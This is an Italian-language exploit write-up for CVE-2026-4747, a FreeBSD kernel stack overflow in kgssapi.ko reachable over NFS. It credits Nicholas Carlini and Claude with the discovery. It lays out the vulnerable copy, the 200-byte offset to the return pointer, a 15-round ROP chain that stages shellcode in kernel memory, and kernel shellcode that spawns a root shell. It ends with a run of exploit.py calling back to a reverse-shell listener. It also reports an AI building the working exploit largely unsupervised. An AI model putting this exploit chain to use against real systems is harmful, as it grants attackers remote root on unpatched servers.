
Exploit RCE del kernel remoto per FreeBSD CVE-2026-4747, un buffer overflow dello stack in kgssapi.ko che porta a una shell di root tramite catena ROP e shellcode.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Stack Buffer Overflow in kgssapi.ko → Root Shell in ~4 hours
"Il primo exploit di RCE remota del kernel scoperto e sfruttato da un'IA. Tempo totale: ~4 ore di lavoro reale."
— Scoperto da Nicholas Carlini usando Claude (Anthropic) · Pubblicato 26 Mar 2026
CVE-2026-4747 è una vulnerabilità di overflow del buffer nello stack (stack buffer overflow) situata in kgssapi.ko, il modulo del kernel di FreeBSD che implementa l'autenticazione RPCSEC_GSS per NFS.
La funzione svc_rpc_gss_validate() copia un credential body controllato dall'attaccante in un buffer di 128 byte nello stack (rpchdr[]) senza verificarne la dimensione. Poiché 32 byte sono già occupati dai campi dell'header RPC, restano solo 96 byte liberi — ma il layer XDR consente credential fino a 400 byte, fornendo 304 byte di overflow.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (Stack-based Buffer Overflow) |
| Componente | kgssapi.ko / librpcgss_sec |
| Protocollo | NFS / RPCSEC_GSS / Kerberos |
| Privilegio richiesto | Ticket Kerberos valido (basso privilegio) |
| Impatto | Remote Kernel Code Execution → uid 0 |
| CVSS | 9.8 Critical |
| Patch | FreeBSD-SA-26:08.rpcsec_gss |
26 Mar 2026 ── FreeBSD pubblica FreeBSD-SA-26:08.rpcsec_gss
Credito: "Nicholas Carlini using Claude, Anthropic"
29 Mar 2026 ── 09:45 AM PDT: Viene richiesto a Claude di sviluppare un exploit
05:00 PM PDT: Claude consegna una shell di root funzionante
Totale: ~7h wall clock / ~4h di lavoro reale di Claude
L'umano è stato AFK per gran parte del processo.
/* In svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Buffer nello stack */
/* 32 byte già consumati dai campi dell'header RPC */
/* Restano solo 96 byte liberi */
/* XDR consente credential fino a 400 byte */
/* 400 - 96 = 304 byte di overflow → RIP hijack */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: senza verifica della dimensione */
FreeBSD 14.x non ha:
int32_t[])Questo rende l'overflow → controllo di RIP diretto.
Attaccante (rete)
│
│ Ticket Kerberos valido per nfs/target@REALM
│
▼
NFS Server (porta 2049/TCP)
│
│ Richiesta RPCSEC_GSS con credential_len = 400
│
▼
svc_rpc_gss_validate() ← kernel ring 0
│
│ memcpy senza verifica della dimensione
│ [128 byte buffer + 304 byte overflow]
│
▼
Stack Smashing → RIP controllato → ROP chain → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell
Claude ha risolto 6 problemi distinti per passare dall'advisory alla shell di root:
# VM FreeBSD 14.4-RELEASE con:
# - 2+ CPU (FreeBSD genera 8 thread NFS per CPU; l'exploit necessita di 15 round)
# - kgssapi.ko caricato
# - NFS attivo sulla porta 2049
# - MIT Kerberos KDC configurato (richiesto per raggiungere il codice vulnerabile)
# - Port forwarding QEMU: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# Configurazione Kerberos critica sull'attaccante:
# /etc/krb5.conf
[libdefaults]
rdns = false # Senza questo: ticket per nfs/localhost@REALM (errato)
dns_canonicalize_hostname = false # Il server rifiuta con KRB5KRB_AP_WRONG_PRINC
Lo shellcode misura 432 byte ma ci sono solo 200 byte per la ROP chain per pacchetto.
Round 1: ROP → pmap_change_prot(BSS, RWX) ← rendere BSS eseguibile
Round 2-14: ROP → write di 32 byte di shellcode nel BSS (4 write × 8 byte)
Round 15: ROP → write degli ultimi byte + JUMP allo shellcode
Budget per round: 4 write × 40 byte = 160 byte + 24 byte exit = 184 byte ✓ (< 200)
; Ogni round termina con kthread_exit(0) invece di un ritorno normale
; Il server non crasha — perde semplicemente un thread NFS
; Con 2 CPU: 16 thread disponibili → sufficienti per 15 round
# Sequenza De Bruijn → ogni sottostringa di 8 byte è unica
# Inviata come credential body → il kernel crasha → leggere RIP dal crash dump
# Il disassembly diceva offset 168 → reale: 200 byte
# Differenza: 32 byte dell'header GSS che l'analisi statica non considerava
pattern = cyclic(400) # De Bruijn di 400 byte
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
Lo shellcode gira in un thread NFS puro del kernel — senza vmspace, senza trapframe.
/* Fase 1 (nello shellcode del thread NFS dirottato): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* Uccidere il thread NFS in modo pulito */
/* Fase 2 (nel nuovo processo): */
/* 1. Pulire i debug registers (bug hardware - vedi Passo 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. Eseguire /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. CRITICO: Pulire il flag P_KPROC */
/* Senza questo, fork_exit() chiama kthread_exit() e uccide il processo */
proc->p_flag &= ~P_KPROC;
/* 4. Ritorno → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */
Sintomo: Il processo figlio crasha con trap 1 (debug exception) su istruzione valida.
Causa: kproc_create/fork1 copia il PCB del padre, ereditando i breakpoint di DDB
rimasti da crash precedenti durante lo sviluppo dell'exploit.
Fix: Due istruzioni prima di kproc_create:
xor eax, eax
mov dr7, rax ← Disabilita tutti gli hardware breakpoint
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]